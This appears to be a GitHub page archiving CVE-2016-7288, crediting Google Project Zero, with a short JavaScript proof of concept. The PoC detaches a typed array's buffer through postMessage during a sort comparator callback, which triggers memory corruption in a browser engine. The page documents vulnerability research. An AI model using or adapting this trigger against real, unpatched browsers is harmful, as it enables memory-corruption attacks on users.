Skip to content

Latest commit

 

History

History
29 lines (21 loc) · 566 Bytes

CVE-2016-7288.md

File metadata and controls

29 lines (21 loc) · 566 Bytes

CVE-2016-7288

  • Report: Nov 2016
  • Fix: Dec 2016
  • Credit: Natalie Silvanovich, Google Project Zero

PoC

var buf = new ArrayBuffer( 0x10010);
var numbers = new Uint8Array(buf);

function v(){
   // neuter buf
   postMessage("test", "http://127.0.0.1", [buf])
   return 7;
}

function compareNumbers(a, b) {
  return {valueOf : v};
}

numbers.sort(compareNumbers);

Reference